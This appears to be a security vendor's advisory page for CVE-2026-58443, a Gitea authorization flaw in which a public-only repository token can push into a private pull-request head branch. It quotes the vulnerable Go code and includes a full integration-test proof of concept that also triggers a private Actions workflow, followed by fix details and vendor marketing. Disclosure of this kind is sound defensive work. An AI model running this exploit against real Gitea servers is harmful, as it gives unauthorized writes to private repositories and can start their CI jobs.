CVE-2026-58443
CRITICALCVE-2026-58443 is a critical-severity (CVSS 9.6) CWE-863 vulnerability in code.gitea.io/gitea. O3 Security confirms whether CVE-2026-58443 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gitea: Public-only repository tokens can update private PR head branches
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-58443.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.
The vulnerable endpoint is:
POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update
Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.
As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.
Details
The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.
// routers/api/v1/api.go:1358-1394
m.Group("/pulls", func() {
m.Combo("").Get(repo.ListPullRequests).
Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
m.Get("/pinned", repo.ListPinnedPullRequests)
m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
m.Group("/{index}", func() {
m.Combo("").Get(repo.GetPullRequest).
Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
m.Post("/update", reqToken(), repo.UpdatePullRequest)
m.Get("/commits", repo.GetPullRequestCommits)
m.Get("/files", repo.GetPullRequestFiles)
m.Combo("/merge").Get(repo.IsPullRequestMerged).
Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
m.Group("/reviews", func() {
m.Combo("").
Get(repo.ListPullReviews).
Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
m.Group("/{id}", func() {
m.Combo("").
Get(repo.GetPullReview).
Delete(reqToken(), repo.DeletePullReview).
Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
m.Combo("/comments").
Get(repo.GetPullReviewComments)
m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
m.Post("/undismissals", repo.UnDismissPullReview)
})
})
m.Combo("/requested_reviewers", reqToken()).
Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
})
m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
// routers/api/v1/api.go:1465-1466
}, repoAssignment(), checkTokenPublicOnly())
}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))
For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.
The update handler then checks whether the caller can update the PR head branch:
// routers/api/v1/repo/pull.go:1220-1270
pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
if err != nil {
if issues_model.IsErrPullRequestNotExist(err) {
ctx.APIErrorNotFound()
} else {
ctx.APIErrorInternal(err)
}
return
}
if pr.HasMerged {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadIssue(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if pr.Issue.IsClosed {
ctx.APIError(http.StatusUnprocessableEntity, err)
return
}
if err = pr.LoadBaseRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
if err = pr.LoadHeadRepo(ctx); err != nil {
ctx.APIErrorInternal(err)
return
}
rebase := ctx.FormString("style") == "rebase"
allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
if err != nil {
ctx.APIErrorInternal(err)
return
}
if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
ctx.Status(http.StatusForbidden)
return
}
// default merge commit message
message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)
The service checks the head repository using the user's normal repository permission:
// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
if user == nil {
return false, false, nil
}
if err := pull.LoadBaseRepo(ctx); err != nil {
return false, false, err
}
if err := pull.LoadHeadRepo(ctx); err != nil {
return false, false, err
}
// 1. check whether pull request enabled.
prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
if repo_model.IsErrUnitTypeNotExist(err) {
return false, false, nil // the PR unit is disabled in base repo means no update allowed
} else if err != nil {
return false, false, fmt.Errorf("get base repo unit: %v", err)
}
// 2. only support Github style pull request
if pull.Flow == issues_model.PullRequestFlowAGit {
return false, false, nil
}
// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
if err != nil {
return false, false, err
}
That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.
If allowed, the update service performs a merge/rebase update and pushes into the head repository:
// services/pull/update.go:89-100
reversePR := &issues_model.PullRequest{
BaseRepoID: pr.HeadRepoID,
BaseRepo: pr.HeadRepo,
BaseBranch: pr.HeadBranch,
HeadRepoID: pr.BaseRepoID,
HeadRepo: pr.BaseRepo,
HeadBranch: pr.BaseBranch,
}
_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
return err
The result is a server-side private repository write performed through a public route.
PoC
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"testing"
"time"
actions_model "code.gitea.io/gitea/models/actions"
auth_model "code.gitea.io/gitea/models/auth"
repo_model "code.gitea.io/gitea/models/repo"
unit_model "code.gitea.io/gitea/models/unit"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
"code.gitea.io/gitea/modules/gitrepo"
api "code.gitea.io/gitea/modules/structs"
webhook_module "code.gitea.io/gitea/modules/webhook"
repo_service "code.gitea.io/gitea/services/repository"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
onGiteaRun(t, func(t *testing.T, _ *url.URL) {
doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})
baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
Name: "public-pr-update-base",
Description: "public base repository for public-only PR update PoC",
AutoInit: true,
Readme: "Default",
DefaultBranch: "main",
IsPrivate: false,
})
require.NoError(t, err)
headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
BaseRepo: baseRepo,
Name: "private-pr-update-head",
Description: "private head repository for public-only PR update PoC",
SingleBranch: baseRepo.DefaultBranch,
})
require.NoError(t, err)
require.NotNil(t, headRepo)
require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
RepoID: headRepo.ID,
Type: unit_model.TypeActions,
}}, nil))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
headBranch := "private-head-update"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: baseRepo.DefaultBranch,
NewBranch: headBranch,
}, map[string]string{
"private-head-marker.txt": "private head branch marker",
})
const workflowID = "private-push.yml"
const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
OldBranch: headBranch,
NewBranch: headBranch,
}, map[string]string{
".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
push:
branches:
- %s
jobs:
private-head-job:
runs-on: ubuntu-latest
steps:
- run: echo %s
`, headBranch, workflowSentinel),
})
require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
ID: headRepo.ID,
IsPrivate: true,
}, "is_private"))
headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
require.True(t, headRepo.IsPrivate)
baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})
session := loginUser(t, doer.Name)
publicOnlyToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteRepository,
)
publicPath := "public-base-injected-into-private.txt"
publicMarker := "FAULT-GITEA-062 public base content reached private head"
createPublicBaseFile := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: baseRepo.DefaultBranch,
Message: "create public marker for private head update",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
}
req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusCreated)
privatePath := "direct-private-write-should-fail.txt"
directPrivateWrite := api.CreateFileOptions{
FileOptions: api.FileOptions{
BranchName: headBranch,
Message: "direct private write attempt",
},
ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusNotFound)
prPayload := map[string]string{
"title": "faultline public-only private head update",
"base": baseRepo.DefaultBranch,
"head": fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
}
req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
AddTokenAuth(publicOnlyToken)
resp := MakeRequest(t, req, http.StatusCreated)
var pr api.PullRequest
DecodeJSON(t, resp, &pr)
require.Equal(t, prPayload["title"], pr.Title)
gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
require.NoError(t, err)
defer gitRepo.Close()
commit, err := gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
_, err = commit.GetBlobByPath(publicPath)
require.Error(t, err)
req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
AddTokenAuth(publicOnlyToken)
MakeRequest(t, req, http.StatusOK)
assert.Eventually(t, func() bool {
return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
}, 5*time.Second, 50*time.Millisecond)
actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
RepoID: headRepo.ID,
WorkflowID: workflowID,
}, unittest.OrderBy("id DESC"))
assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
assert.Equal(t, "push", actionRun.TriggerEvent)
assert.Equal(t, doer.ID, actionRun.TriggerUserID)
assert.NotEmpty(t, actionRun.CommitSHA)
job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)
commit, err = gitRepo.GetBranchCommit(headBranch)
require.NoError(t, err)
blob, err := commit.GetBlobByPath(publicPath)
require.NoError(t, err)
content, err := blob.GetBlobContent(1024)
require.NoError(t, err)
assert.Equal(t, publicMarker, content)
})
}
Impact
The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.
Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.
When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58443 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-58443 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-58443. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-58443 in your dependencies?
O3 detects CVE-2026-58443 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.